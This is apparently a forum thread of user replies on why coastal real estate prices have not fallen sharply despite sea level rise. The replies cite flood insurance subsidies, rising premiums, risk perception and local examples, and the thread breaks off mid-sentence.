"Read an article that quotes the Mayor of Coral Gables FL (Miami area) saying there are thousands of homes with boat docks behind bridges (between the homes on lagoons and open water). The day a sailboat can\u2019t pass under a bridge, no one will be able to get a mortgage for one of those houses.\nedit: Hundreds\nedit: linked article (I hope)\n\n_URL_0_", "While maybe not drastic at this point, we are definitely seeing reductions in real-estate prices due to climate change. Here are three studies that were highlighted by [a Washington Post article from last year](_URL_3_):\n\n[Disaster on the Horizon: The Price Effect of Sea Level Rise](_URL_1_)\n\n[Climate gentrification: from theory to empiricism in Miami-Dade County, Florida](_URL_0_)\n\n[Rising Seas Erode $15.8 Billion in Home Value from Maine to Mississippi](_URL_2_) (Updated)", "Because it is not a certainty and nobody can predict wether it will happen in 2020 or in 2120 or never.\nPeople are short-minded, forget everything after a short period, because of life, problems, responsibilities and the simple fact that most don't really care.", "You are seeing it in areas likely to flood. Flood plain designations are being updated and more people are being required to purchase flood insurance as a result. \n\nThat's the \"problem is small enough that economics can solve it\" stage. You used to not have to worry about it as much, now the problem is getting steadily worse, and by 2050 or whenever is cited it could be bad enough to cause people to move en masse away from affected areas.", "This is already a reality in some parts of Denmark, not because of rising sea levels, but because of the increased frequency of long-duration storms with northwesterly winds.\n\nThese storms frequently flood coastal areas, and house prices - especially in Roskilde Fjord - have seen a decrease.", "Related are wild fires in California which are being exacerbated by climate change. People are still buying houses out here and property values are as absurdly high as ever but one new development is that it\u2019s now near impossible to get fire insurance. In high risk areas, anyhow. Insurers know it\u2019s a financial disaster just waiting to happen and don\u2019t want to risk it.", "Keep in mind that the life of a mortgage is 30 years, and most of the interest on an amortizing schedule is paid up front. If the home has 30 years of life in it by even the most worrisome projections, then why not buy and why not provide a loan if you\u2019re a bank? 20 years in, if the home sold for 2/3 of the original purchase price, you could still pay off the mortgage.  That is without inflation adjustment, so we\u2019re really talking another 40% lower than that in real dollars. \n\nSo the bank isn\u2019t going to lose out; seems like instead like better times are coming to charge a premium. If you\u2019re 65 and retiring, seems like a decent way to go, too.\n\nThese properties have 1-2 generations of use value in them still! I\u2019ve 35 years left in my life if I\u2019m lucky before I die. Maybe I\u2019d be looking for discounted oceanfront property if I didn\u2019t have kids.", "Something I haven't seen mentioned yet is the perversion of market Dynamics caused by insurance companies. People are not \"rational\" actors when their risk is insulated by insurance companies. \n\nThe problem is that these insurance companies base their premiums on historical risk, which hasn't really fully realized the cost of global warming. When it does, expect a day of reckoning; we will see people finally want change when their premiums double for no reason.", "A lot of good answers in here i would just like to make one final point. Almost all predictions of sea level rise says that we wont see anything large untill the next century so buying a water front property now means that even your grand children might be spared any real damdage from rising waters(exluding more frequent floods etc)", "Drastic decreases don't happen due to slow and progressive changes.\n\nWe're already seeing a shift in demand, a change in patterns, as some of the lowest-lying and most vulnerable places become non-viable.\n\nFor instance, I live in Long Island, we were devastated by Hurricane Sandy. Instead of re-building as they were, some areas are now forbidden for building and owners were forced to move. [Other homeowners are being forced to lift their houses and put them up on pylons.](_URL_0_) Coastal houses that aren't lifted are selling at drastically lower prices, if a buyer can even be found. Lifted homes are selling at a relative premium.", "In nuclear engineering, we occupy ourselves with a lot of risk assessment and probability.\n\nOne thing I realized that people are not just bad at assessing risk, they are terrible. \n\nYou see the similar results from both people who are ignorant (underestimate the consequences) and people are are educated on the topic ( underestimate the probability).\n\nClimate change is not unlike people who smoke and those who are worried about terrorist attacks. Some do not think the consequences will be that dramatic/that rapid, there are those who think the probability that *they* will be affected is not that high.\n\nPeople in real estate, honesty don't give a shit. You will frequently hear them saying that the new developments takes into account of the sea level rise. No one really asks for the details.\n\nI am not entirely if it's still true in in US, but private insurance does not typically cover flood and is in fact subsidized (?) by the government. Here too the insurance companies don't give a shit as long it's not them who bear the risk.", "I recently listened to a report discussing the rising costs of rebuilding coastal communities along barrier island around the world due to rising sea levels. Problem is that every time these islands suffer a hurricane or rising waters,  FEMA (tax payers) foot the bill of repairs.", "My understanding is that indeed, real estate prices on at-risk shores are decreasing, and insurance rates for those structures are also going up. High-tide flooding is also becoming more frequent and businesses are already facing tough choices about staying.\n\nIf people aren't convinced that the climate is changing, just watch the insurance companies and business that are impacted. One could also google \"insurance companies climate change\" for numerous articles", "Look at Flood Insurance pricing, not real estate pricing.  \n\nThose selling real estate by the water are always going to list it for more and try to get top dollar.  \n\nLook at those who are calculating risk when it applies to one living at the shoreline.  That's the real calculation for the seriousness of rising sea levels in a capitalistic society.  \n\n_URL_0_\n\n_URL_1_\n\nRates are increasing by 25% each year until the cost catches up with the actual calculated risk...meaning that rates are SUPER low, and not actually reflective of the true \"risk\" to the insurance company. \n\nSome people who were paying 700 a year a decade ago are now being asked to put up almost 10k a year, and the pace of premium increase has only increased as the insurance industry is re-calculating the cost of insuring these homes when new risk factors (ie global warming and sea level rise) are taken into account.", "Because people believe their eyes more than their brain. \n\nSo to say they might believe in climate change but have no concept of how fast and devastating it could be. In general, prices for coastal areas are only slightly decreasing because the demand for them also only slightly decreases from an ideal economic standpoint. \n\nYou can also think of it from the standpoint of a buyer. Someone buying a house now will naturally inspect it and the surrounding area. They probably have no idea of the history of the place and where the water was years ago. All they see now is (for example) that the beach reaches 200m until it hits the water. Since climate change comes slowly they might not even notice the water creep up to them until it is within much closer proximity (say 50m) over the course of years, depending in which area they are. Only in the last few meters they actually realize what will/could happen and that is when the prices will drop.\n\n & nbsp;\n\nFor the whole \"eye over brain\"-discussion you can look up the [bacteria in a bottle gedankenexperiment](_URL_0_) which works with exponential functions (the natural language of growth) and you can ask yourself how much of it you find \"plausible and natural\".\n\nIt is imo a fitting analogy to energy consumption and population increase which is the main cause for the climate change.", "You could say the same thing about areas that are prone to natural disasters, like earthquakes. \n\nPeople are not that great at assessing long term risk and short term considerations are often more important drivers of price. Coastal areas are generally pretty, have good economies, and offer lots to do. People value that more than some threat that seems decades off.", "The majority of human beings do not react until the boot is pressing on their neck (or their toes start to get wet while sitting in the living room).\n\nNearly for sure now we have blown it and just as sure an expanding number of coastal properties will need to be abandoned.  The march of rising sea levels will continue as methodically and as surely as rivers flow to the sea.  Moneyed cities such as NYC will fight the good fight but will lose out to the forces of nature.For relatively compact coastal cities such as NYC, there are solutions; laying down 25' of concrete (filling in the first floor of every building and basement, raising the subway and infrastructure and laying down new roads and walkways on top of that.... buys them 50 years or more.", "They are in many places. Large swaths of coastal Florida land are plummeting in price as building restrictions get tighter and tighter (coastal France too). Some cities are building pump out systems with levee's and elevated gravel based road ways to extend the useable span of the areas as there are massive hotels and condos that aren't easy to relocate.", "PhD in economics here - prices are based on expectations of future value. If people don't expect the value to fall (i.e. don't believe in climate change/don't think it's serious), the current price will reflect that.\n\nAlso a lot of places (certainly the U.S.) has flood insurance etc. so people don't expect to lose money even if they do see increased flooding.", "Several reasons:\n\n1) A sea-level rise of 3-5cm per decade isn't significant to most property values. That can be mitigated by pretty-standard property maintenance. Generally speaking, anyone who buys coastal property as a long-term investment is prepared to maintain it to this level.\n\n2) Property-market prices are heavily influenced by units which turn over quickly. These tend to be higher-priced properties, since people are less inclined to sell properties whose prices are stagnant or falling. \n\n3) The primary risk from sea-level rise isn't the level of the sea, but storm surge. This risk is pretty unpredictable, but coastal areas are generally skilled at mitigating it \u2014 for instance, by spreading the risk among many people through property insurance.\n\n4) Most individuals' longest-term horizon for property-owning is a generation or two. Forty years would be a very long horizon. Climate effects just aren't strong enough to reliably affect prices in this term. \n\n5) The main influence on property prices is demand, since as is famously said about real estate: They ain't making any more of it. So as long as a region's population and wealth continue to rise, its property prices will rise. And they will probably rise faster than average at the coast, as long as people tend to value coastal property over inland property.\n\nCalling climate change \"a serious threat\" is kind of like calling an extinction-level asteroid impact or alien invasion \"a serious threat.\" The resulting impacts are devastating, but if you approach the problem rationally then you also have to estimate your likelihood of encountering those devastating impacts \u2014 and that usually comes down to your assumptions about the time frame involved. Over the course of a billion years, an extinction-level asteroid's *approach* toward Earth is pretty likely. But in your lifetime, the actual impacts you'll see are likely to be minimal.\n\nAnd the same is probably true for climate change. I doubt you'll see large numbers of people selling coastal property for cents on the dollar in your lifetime. I often tell people that if anyone feels climate-spooked enough to panic-sell at that level now, they should give me a call. But nobody ever does. I guess there is some climate panic out there, but the rationality of the property market remains basically undisturbed for now.\n\nEdit: typo", "Flood insurance is Federally backed and does not accurately price in the risk of living in flood prone areas.   Also many of these properties are second homes bought by the rich so the government is less likely to change this status quo.  That is right your tax dollars are hard at work rebuilding second homes for millionaires.  The federal government is starting to buy up frequently flooded areas though.  This is an American answer, not sure about the rest of the world.", "Real estate prices are about current demand not long term risk.  They are also offset by governments taking active measures to prevent flooding, such as Boston considering to build a 14+ billion dollar barrier to protect the city from sea level rise.  \n\nIf you want an economic first response to climate change look at flood insurance and the flood zone maps.  FEMA offers historic flood maps of towns where they can.  Storm barriers can cause sudden changes, but you can see the alterations first hand.\n\n_URL_0_\n\nEvery mm of sea level rise is only for the average.  The increase in the swell levels are more than a mm.", "Because people who own these properties aren't gonna drop their prices, see levels wont rise for a long time either. I dont know why people associate this with the biggest problem of climate change, the biggest issue that will arise is a collapse of our food chain I  that we wont be able to produce enough food to feed our global population, probably be some issues with water to stemming from that", "I had a coastal house that got flooded and I sold it for what I bought it for and consider myself lucky. I live 100 feet above sea level now.  If you can see the ocean, the ocean can see you. It's the storms that will drive you away, any sea level rise is barely perceptible so far.", "Not an economist but cities are already investing in retaining walls like the 5 billion project in SF. Maybe real estate won\u2019t be affected as much because people believe that the sea wall will be enough. It will be a slow process but it is inevitable.\n\n_URL_0_", "Current estimates project sea levels to rise so slowly that the real damage will be in a hundred years from now and US houses are not made to last that long anyways so its not something you will see priced into the value of current real estate.", "When there is an increase in the number of deaths due to car accidents, do you see a decrease in the price of cars?  \n\nPeople just don't care, in large enough numbers, to make a difference.  \n\nThere are still people that buy houses in flood plains, or even on the side of a volcano.  There are still people who smoke regardless of the dangers pointed out to them over the decades.\n\nBasically, while people are still willing to pay the price for something they want, the price won't go down.  And if it did, more people would start buying at the cheaper price and...guess what?  Yep, the price would go up.", "As a subset of this question I'd be curious about how the corporate market for real estate looks in low lying areas e.g. Silicon Valley, New York. I think largely the reason real-estate hasn't plummeted is most consumers aren't thinking that long term. Corporations however tend to be more likely to factor in such considerations in their long term financial planning.", "As is usually the case in property markets, speculation can keep prices high long, long after the underlying values of the property have fallen. This effect is where property bubbles come from. When the breaking point arrives and buyers can no longer justify paying the listed prices, we call it  bubble bursting.", "Oh yes, they are dropping. Here in El Salvador, people with money have beach houses for holidays or weekends. People are not buying anymore because the high tide is higher than normal and a couple times a year you will get flooded. New homes are being built farther from the shore, but built houses are at constant risk and have to spend extra money in walls that don't really help on the long term. Prices are dropping as people don't want to buy houses that are at risk.", "My comment will probably get buried, but still want to try. I work in commercial real estate in Texas and we\u2019re seeing the very beginnings of this happening. I work with investors that have anywhere from 10-100 properties in their portfolio with us in Texas, and they also have portfolios with other companies nation and worldwide. \n\nSeveral of these investors do 5/10/15/20/30 year planning. Climate change isn\u2019t really a part of the 5-10 year plans, but it\u2019s most definitely part of the 30 year plans. There have been studies showing which states will be affected by climate change the most, and the least, and the clients are paying attention. For now it\u2019s business as usual but I have clients who are already planning to buy and hold properties in the \u2018safer\u2019 states in the next 10-20 years. They\u2019ll likely sell the properties in the most dangerous states before they\u2019re really impacted.", "We do to some extent already. Look at the city of Norfolk. It's on the east coast by the Chesapeake Bay in Virginia. \n\nOver the last 15 years a lot of it has been designated as different levels of flood hazard. These flood hazard designations have been doing a slow creep through the neighborhoods. \nThe flood hazard zones come with the requirement to buy expensive flood insurance (extra expensive as the houses are in flood zones... )\n\nThe drop in value of the houses is masked by an inability to actually sell the properties. Instead of taking a huge loss selling, they get converted into rentals. Alternately the houses just sit in the market for a really long time as people try desperately to get what they paid for the house back.", "The simple answer is that it's not imminent.\n\nIt's the exact same reason Houston, Miami, Hawaii, still have valuable property. Basically people gamble that \"it won't happen to me\" consciously or subconsciously. Plus, balancing with trust in insurance companies and balanced with the benefit of living there. It actually does make sense that real-estate prices aren't impacted much.", "It's more erosion areas. So towns and villages on/near cliffsides have crashed dramatically.\n\n_URL_0_\n\nThe bottom house from this link says that because it's so near a cliff, despite the large property size it's still high risk and you cant even get a mortgage on it", "Because the value of living in a coastal area that will be inundated by flood waters is high enough during all the time that it's NOT inundated by flood waters that demand remains high.  See the NC Outer Banks -- nobody is disputing that those homes will get wrecked by hurricanes eventually but people still build and real estate still sells.\n\nThe Federal Government supports this by offering low priced flood insurance which the Government comes out ahead on because it collects taxes on all the economic activity that is generated by eventually flooded properties meaning it shows a net gain (since the Government doesn't have to make money on insurance premiums to profit)", "Because it only affects homes that look at risk.  Most home owners don't instantly go, \"oh that oak tree is going to grow into my septic tank in 15 years\"  or \"maybe a forest fire will burn my house surrounded by woods\" but it still happens and people pay crazy amounts to have a mansion in the woods or too keep that tree that gives the yard character.  They look at the superficial aspect and if it seems in good repair it must be a good house.  I live very near Lake Michigan so I constantly see super expensive homes go up in flood areas that are close to the river and others on the cliffs overlooking the lake.  But we also see the older existing homes being tore down or being sold for less than before because of water damage and erosion.  We have had multiple homes in the area collapse down the hill into the lake.  I suppose they don't hold very much value when the danger is perceived as imminent.  \nA few homes are supported by stilts too keep them from just falling down.  Once all the old houses fall or get tore down new ones (slightly farther back) pop up.", "NPR had a great interview last week related to this topic. Can't recall the interviewees name, but he released a book on the history of people living on US coast lines. I'll summarize what I can.\n\nSo, insurance companies learned in the 1920's that it is not economically feasible to make a profit providing flood insurance to coastal homes (floods happen often and cause massive destruction instead of minor damage). Since there was no way to insure oneself against coastal flooding not a lot of development occurred directly on the coast (hotels and other businesses maybe, but not houses).\n\nThen, in the 1960s, LBJ commissioned a study to see if it was viable for the Government to provide some type of Flood Insurance because developers desperately wanted to start building and selling homes directly off the coast. The study found that it would likely be possible to do this if a couple of key rules were followed. First, the premiums had to be really high because its extremely expensive to rebuild/repair after flood damage. Second, there could be NO government subsidies (ie gov't covers part of the expensive premiums) because doing so would not be economically viable (again, price of covering flood damage/destruction is really high).\n\nWelp, the study led to the National Flood Insurance Program, but of course those subsidies the Government shouldn't have allowed? Well they allowed them. So now you have flood insurance on the cheap, which led to a boom of coastal development and purchasing.\n\nSo people kept re-building because they had the insurance to do so and because they could keep affording the premiums, which allowed demand for coastal homes to stay high even though its stupid to do so because floods will likely happen again and destroy the home again. And if demand is high, then home prices will continue to increase.\n\nThe Government now only allows for a home to be rebuilt 3 times, after that they won't cover your expensive premiums (this may be part of the original 1968 legislation, not sure on that). With Climate Change and more flooding, people are hitting that 3rd rebuild quicker than in the past (this is currently happening in places like Houston). So, we are starting to see some instances of people moving away from the coast, because they can't afford to re-build on their own.\n\nSo, why have we not see a drastic drop on coastal home pricing? Its a mix of greed from the private sector and mis-management of a government program. AKA the cause of the majority of issues in the US.  \n\n\n\n\nEDIT: the book is \"Geography of Risk\" by journalist Gilbert M. Gaul", "I think this is also a good psychology question. Demand for coastal homes still hasn't dropped, hence why prices haven't dropped. So the question is, why are people still willing to pay premium dollars for a home that years of research has proven to be in an incredibly risky area.\n\nI think you would need to start looking at the psychology of climate denial, apathy, and risk/reward behaviors to get your answer.", "The most simple answer is the misinformation campaign has been effective. Energy companies and big business have been spending a fortune to convince people climate change is \u2018fear mongering\u2019 as the other commenter put it. And it has been incredibly effective, unfortunately. First off, no one is saying that death is coming tomorrow, this month, this year, or even this decade. What is being talked about is the inter generational responsibility that we have. We should start the work now to reverse the effects of climate change so that future generations aren\u2019t stuck with an irreversible problem. \n\nNow as far as your question, the reason is because the danger is not imminent. Again, it\u2019s years away. And the reason we\u2019re in this mess and having trouble getting out is because of how short sighted humans are. No one thinks about humans 50 years from now because presumably most of us will be dead. Same goes for housing values. No one is thinking what will my house be worth in 50 years, I\u2019ll be dead.\n\nAs we move close to the true danger levels, you\u2019ll start to see a shift of people moving inland. You\u2019ll also see people moving out of hotter climate areas. People will leave Arizona, New Mexico, Nevada, places of that nature because the average temps will go up by a few degrees. They will end up Middle East hot and will eventually become unlivable. People will flock to the north and to the Midwest. States along the border of Canada will see a huge influx of new residents. Souther Texas will be abandoned as will most states on the southern border. If there is an increase in average temps of 5-10 degrees, many places there cannot be comfortably lived in.\n\nNow a 10 degree shift is not in the near future. No one alive today will see that increase. But we will see the steady increase of maybe 2-3 degrees during our lifetime.\n\nThis is all assuming that we don\u2019t shift our priorities and start focusing on undoing what\u2019s been done. But even if we do, there will still be an increase in temps in the short term because we\u2019re already on the path. Even if we correct our direction now, there is still going to be a correction period. The change will not be immediate.", "People that don\u2019t believe in climate change will have no problem buying in coastal areas because they don\u2019t see it as a threat. It just means that they ( or much more likely their kids) will be screwed when the houses are worth less. But we have already seen some low laying land in Miami areas affected by climate change but it\u2019s like a 7% drop(according to Harvard) there won\u2019t be a run on property.\n\nAlso you should go read an annual report of top US hotel companies in US that have lots of coastal properties. They seem to think it\u2019s risk to their assets.", "No capital entity will ever allow profit leakage until the entire asset class is universally abandoned.\n\nWhy is there food wastage? Why do grocery stores dispose of unsold produce? People are always hungry, in fact it breaks the idea of supply/demand: The demand for food is infinite, every person needs food every day. So why is there food waste? Because giving it away or reducing its price reveals that it doesn't have to be sold at the price. You avoid profit leakage to avoid full-on profit annihilation; once people know all the produce is half price in the last hour of business, half price jist becomes *the* price and anyone shopping before the reduction is just paying a fee for convenient shopping hours.\n\nSo why sell a coastal home for half its value? That would just be admitting this thing is gonna *completely* worthless soon and the market won't buy a soon-to-be-worthless asset no matter how big the discount.", "There is one other factor that no one else seems to be mentioning. \n\nAlong with flood insurance subsidies from the govt. State and even city level governments are subsiding coastal homes in another way. \n\nBeach replenishment. As climate change moves forward and average temperatures rise we see an increase in the overall frequency and power of storms. Most beaches are not naturally sandy, most are rocky. Costal cities and towns all over the US bring in sand to make the beaches more tourist friendly. However these wide artificial beaches also make for pretty good erosion protection, allowing beach homes over the last 100 year or so to be built much closer than they were historically. \n\n Now with storms being more powerful and frequent they wash away the sand (not natural to the area) faster exposing the houses to erosion risk and the towns to decreased tourism revenue. The towns cities and states then bring in sand to replace the lost beach. The cycle will continue until the cost is to great to replenish the beach, at that point prices will start to tank.\n\n\nPeople are very bad at planning for the future and acting proactively. Usually things need to start falling apart before anyone actually reacts. We are seeing this with climate change now (we've known about it since the start of the industrial revolution) and we will see it with beach properties in the future. Everything will be fine until one day it isn't.", "Because they're going to milk money out of it until people have to evacuate. Once cities start to go under, only then will you see prices decrease.\n\n\nPeople aren't the best at thinking ahead and some of them are actually actively ignoring the problem so they don't have to deal with it. To be fair, it's going to work because it's their children that will deal with it, not them.", "It is in many places, just subtly at the moment, expect it to be more interesting over time. . Wealthy folks are buying east of the pacific coast highway and selling their beach houses. Long term real estate investment holding areas of interest also moving inland compared to a decade or more ago. \n\nThere are many real estate zones that now exist, at least casually, between investors that are hoping to account for climate change: including sea level changes, season shifts, catastrophic weather (fire, tornadoes, hurricanes, etc). \n\nInterestingly northern Canada is a super hot market for beachfront property if you are a speculator.  I know numerous people buying arctic because of climate change. \n\nI don\u2019t recall who, but some group did analysis for next hundred years and mapped results for investors to be able to shift holdings responsibly before the changes happen and make their land worthless and other land a super premium rate. \n\nI should state it\u2019s all hypothesis and speculation based on current data. It might be an over reaction. I know many people who have changed purchases based on the above and other factors.", "Because flood insurance is too costly for insurance companies to cover so the government actually covers floods, as disaster relief was becoming too expensive to deal with without insurance. \n\nSo the government has spent lets say $800,000 on a house that's actually worth $100,000, multiple times over, and it's actually a huge problem. John Oliver did a great show about Flooding on Last Week Tonight.  That's part of the answer, anyway.", "I want to point out that the sea won't rise in like a standardized way in every area. Eustatic sea level rise is just the physical \"more water equals higher seas\" way of looking at it. The continents behave like buoyant objects. This buoyancy - \"Isostacy\" - is the effect you will see when ice melts. It's when a part of earth's crust rises due to less of a load on it from, in this case, ice. So you'll see some areas that are still isostatically rebounding from the last ice age rising, while others are inundated with water from eustacy. This is just to explain part of the misconception of how sea level rises (tectonics and local effects also play a part).\n\nNow when it comes to why real-estate prices aren't drastically decreasing... I'm not sure that they aren't. We have systems of levees that keep some areas dry that shouldn't be. But there are places where a single storm event completely leveled a town and took real estate prices from *something* to non-existent (because there was no land to sell). Louisiana especially comes to mind here, as do properties on the Outer Banks, and even River properties on the lower Susquehanna.", "It is kind of like before the financial crisis why did people keep buying mortgage backed securities even though they were total garbage. Some people knew they were garbage so would buy them and then pass them off to people who would either also pass them around or to people who didn't know they were complete garbage. A lot of people see bubbles are try to get in on it before it pops and some people don't and are stuck with the consequences", "From a non scientific POV.. because  ppl are ppl... they want to live in pricey places for a variety of non logical reasons and only think of \"now\". Also ppl are greedy and will take advantage of those mindsets as long as they can.. buyer beware.", "In history you have examples of prices increasing dramatically around absurd things - the best example is Tulip mania from XVII age ([_URL_1_](_URL_0_)). In short, economy reflects peoples desires, not peoples needs, or, God forbid, scientific necessaries.", "You did see a pretty big drop in real estate prices in lower Manhattan/FiDi after Sandy since a lot of offices had to relocate and left their offices vacant after they reopened. A lot of those offices are slowly converting to apartments so the rents are climbing back up.", "I saw what I would have said about insurance subsidies but wanted to add: the poor, as expected, will be screwed. Many low income people in the U.S. (and worse in other countries) live in areas of rising flood risk, including by oceans but also by lowland waterways, bayous, etc. They would move, or build higher, or build seawalls, or take out pricier insurance, but they can't. What they do own may end up being worthless.", "The average person isnt in tune with reality is why, they're more concerned with drama and what not. Same thing with asking why do people with little to no money spend above their means? They just arent as aware as the more self aware and intelligent people. Hence why there's only a small percentage of wealthy people", "It's far enough off that most people buying real estate don't think of it, and even if it does flood the government will pay you to rebuild.\n\nSame reason why people are still buying property anywhere there are frequent natural disasters, there is either money to be made or that's where they want to be.", "Just today there is a [story in the Australian media](_URL_0_) about how climate change is likely to impact home insurance premiums here. When people's home insurance triples or they even get refused insurance, watch property values plummet", "Bit late to the party, but I watched a short docco about a small costal Welsh town in the UK that's due for decommissioning around the 2040s, as maintaining the sea wall is too much. Obviously this has caused house prices to fall to almost naught. \n\n_URL_0_", "Not really a science question lol but it's because real estate is (for the purpose of this question) based on perceived value. As long as enough people believe that those areas aren't in serious danger of massive flooding and/or the benefits of living in those areas outweighs the risk to enough people, the value won't decrease. In simplest terms, as long as enough people still want to live there, the value won't decrease.", "Because it's not happening.  According to predictions from 10 years ago we should have already lot hundreds of square miles of coast in the US alone.  Current climate alarmists will tell you people don't understand risk or aren't taking it seriously.  The climate is changing, for sure... but most of the popular science out there is actually bs scientism masquerading as knowledge.", "You can think of the present value of a rental property as more or less the combined present value of any future rental income less upkeep plus or minus the fall/increase in the real value of the property at sale. If you're looking at a total loss of the property at, say, 100 years from now, that \"large\" loss way in the future is worth a relatively tiny amount compared to the present value of all the incremental income that starts more or less immediately.", "Coastal areas have always been desirable places to live. \n\nDespite the all-consuming knowledge of climate change people still want a nice view and a sea breeze.\n\nNot to mention most of the world's major cities are coastal. So even if you did fear the effects of climate change, people may not be able to move away due to work, family, money, etc", "It boils down to this: humans are really bad at anticipating novel threats.  \n\n\nWe've been through enough hurricanes to know what a hurricane warning means, at least in Florida. But a friend of mine in Massachussets a year or two ago shrugged off theirs with \"dude, people are literally outside doing yardwork\".   \n\n\nFortunately for them, that storm went out to sea (I think it was Ivan) leaving them with just a little rain, but it could have been a disaster not unlike Sandy had been in New York/Jersey.  \n\n\nIn the Bible we have the parable of the man who built on stone compared to the man who built on sand-- the sand man was washed away when the floods came down.  \n\n\nTake a tourist who sees a cute (but dangerous) animal for the first time and tries to do a cuddle-selfie despite warnings from their native guide.  \n\n\nThere is a saying \"Once bitten, twice shy\" which is great when the thing biting you is only an annoyance; unfortunately, climate change won't be just an annoyance, it will result in fundamental change with a life-changing price tag. And unfortunately, price-tag is not a factor for these sort of novel threats like Mt. St. Helens blowing up (people refused to leave, for example) or rattlesnake bites (hold my beer) or climate change (my property is mine).  \n\n\nWe even see examples where I live in Colorado. We've had a rash of bear encounters this last year, and the victim's response is sometimes \"I built my house here, why are they on my property?\". Well, for one, bears mark property by scratching and peeing, not by drawing lines on a map with dollar signs. And two, you left your trash out and the bear found out-- what did you think was going to happen? And yet they insist that this is theirs and seem to be legitimately confused as to why the bear doesn't recognize that. (Some do recognize it, but a surprising number do not-- much to my amazement). Anyway, same thing with climate change. In their mind, the human went through all the right steps to earn money and purchase the property, and the weather will somehow (magically) understand and respect that.  \n\n\nAs a last example I am reminded of King Canut, yes, he is real. Apparently some of his supporters/advisers saw kings as all powerful, so he had them take him to the coast where he tried to stop the tide from changing. There is no record of whether or not his knuckleheaded followers got the message.", "Because humans are full of cognitive biases such as:\n\nConfirmation bias; listening to information that confirms our preconceptions.\n\nConservatism bias; where people favor prior evidence over new evidence.\n\nOstrich effect; decision to ignore dangerous or negative information.\n\nSelective perception; allowing our expectations to influence how we perceive reality.\n\nZero risk bias; humans love certainty even if its counterproductive.\n\n\nBasically humans hate change and will deny it so they buy houses in Miami and if they are smart they will also buy insurance for that real estate.", "Real estate prices are largely garnered by supply and demand, not expert opinion about the future value of those homes, and supply and demand can be as fickle as the populace's own belief in climate change and its effects.\n\nInsurance, on the other hand, does appear to be increasing rates on coastal areas and other areas likely to be affected by climate change:\n\n_URL_2_\n\n_URL_3_\n\n_URL_1_\n\n_URL_0_", "That\u2019s a great question for a psychologist.  I\u2019d imagine it\u2019s because humans have a brilliantly designed bit of built in software that causes the user to deny reality when it\u2019s spelled out, and even strengthen their position against a negative outcome.  \n\nThink about how many times you\u2019ve argued a point and how solidly the person you\u2019re arguing with has just denied your arguments.  Frustrating beings, humans.", "I\u2019m not sure surrounding the science of it all, but I can tell you as someone forced to live in a coastal town that while purchasing we actively avoided places on the oceanfront and around lakes/streams. The flood insurance is exorbitant and often enough to leave those houses on the market often for months and sometimes years. We pay some flood insurance with a hurricane rider", "If I remember correctly, federally subsidized flood insurance is partly responsible. Also every time the coast gets hit hard, the old houses are destroyed and then get rebuilt into nicer newer houses. Someone wrote a book about this happening in New Jersey. I forget.", "The rate of which and actual measure of the seas rising will not be catastrophic to most homes. We\u2019re talking about centimeters through hundreds of years. It has a great affect on many other aspects of the world, but likely not your beach house.", "Because the seller wants the most money for the house and i dont think the seller is going to worry about the buyer worrying the house will be damaged in a flood or something. So they have an excuse to sell it for full price.", "Why do people in CA live in the mountains where it\u2019s often more expensive (e.g. Malibu Canyon, Mulholland  Drive, Calabasas, etc) when there\u2019s always a huge risk of fire? I think it\u2019s because humans tend to enjoy living by nature, and also rich people like to flaunt living by the beach, mountains, etc and don\u2019t really think about rising sea levels and all that (especially if they can just move)", "I'd assume it's because there's very high demand for coastal properties but limited supply, and for this segment of home buyers the premium cost of living on the coast does not outweigh the risk of sea levels rising.", "It is changing, just slowly \n\n_URL_0_\n\n\u201cIn a growing number of coastal communities, homes near the sea are appreciating more slowly than those inland. That's bad news for people on the beach, good news for those farther away.\u201d", "There are alot of wealth that they buy for the moment and not for savings for the future, simple. Most clients have other property to quell for any issues including tropical storms and or king high tide floding to hurricanes.", "I asked an expert about this (a person who studies climate change and economic impacts for a living), and he said that there are still too many non-economic factors at play. For example, with regard to E coast flood zones (where property losses are influenced by interannual variability of sea level, as well as storm surge, vertical land motion, and global mean sea level rise), the insurance is heavily subsidized by the Fed's. He felt that the property and risk markets are so far out of equilibrium that it would be unwise to place bets on sea level rise impacts, yet. By simply extrapolating the mean sea level rise and predictable ocean tides, you could quite reliably predict \"sunny day\" flood events in Annapolis, Md, and you could probably make a reasonably accurate prediction of the added economic costs related to this kind of flooding, but to make money off of this you would be betting against an opponent with effectively infinite resources to mitigate short-term losses.\n\nInvestors with sufficient resources are likely placing long-term bets, but they probably won't pay off for another 20 to 50 yrs. The current rate of mean sea level rise is about 1.5 inches/decade. It is not much, but it has been leading to observable impacts especially in places where land subsidence is also occurring. Some effects, such as the intrusion of salt water into the local water table, are not visible and might not effect property values short term, but are certainly going to lead to major changes in land use.", "Realtor in SFL. insurance prices have jumped in flood prone or high risk flood areas, so there IS evidence the market and customers are responding to the change in risk.  In the uninsurable markets , much of waterfront property is purchased with cash, by deep pockets that can afford to take the risk and enjoy the coastline wherever it happens to be that year.", "This is more a risk/reward scenario for people buying beachfront property. Humans are notorious for undervaluing risk in expensive purchases. For example, there's a flood plain in central California where rich people buy $1,000,000+ homes, despite the area getting flooded and destroying their homes *every couple years*. \n\nThey can see the house now, but a flood is only a *possibility*, so they eschew rationality.", "as soon as banks start saying were not giving loans to homes in these areas then you will see massive devaluation. If you are a seller in these areas you will need to find an all cash buyer that does not believe in climate change. Until then people love living by the water for obvious reasons so they are willing to take the risk.", "So you may have heard of the fires in Alberta a few years back, which caused an entire city to evacuate. \n\nNow, they cannot get insurance for their condo's, or if they are it's very high priced. The prices are starting to come down and people will be losing a lot. It's the insurance companies that are starting to push the change. If you can't insure it, you can't afford to own it. \n\n I've was keeping an eye out for a cottage property but after some more research decided against it. I've seen both cases in Canada, where the lake is drying up and the docks have to be extended each year to reach the water, and situations where the cottages are now under water. \n\nHere's the news article on the condos.\n\n[_URL_0_](_URL_0_)", "Because markets don't perceive sea levels to be rising drastically enough to merit an equitably drastic decrease in real estate prices. (i.e. watching the sea level rise would be like watching paint dry very, very, very, *very* slow) Most of the explanations you'll see can pretty much be summed up by this.", "We are already seeing \"climate gentrification\" - i.e. property developers buying higher elevated land in poorer neighborhoods to develop. At least in Miami, we are.\n\nThis question is also a lack of basic understanding of human nature, though.\n\nIf a hurricane is coming in the next week, raid Home Depot, savage Publix aisles, and go full Mad Max on the gas station.\n\nIf there's a slow, but inexorable march toward sea level rise over the next 100 years, people will worry about it seriously when the water rots their mailbox out.\n\nCoastal communities are already having to deal with more flooding, so the process is ongoing and people are having to start taking this seriously.\n\nNow that it's too late to stop it.", "Prices of houses prone to flooding after hurricanes decreased in Texas and specially Houston.  Some really high end and expensive neighbourhood lost a lot of their house values . There are million dollar houses 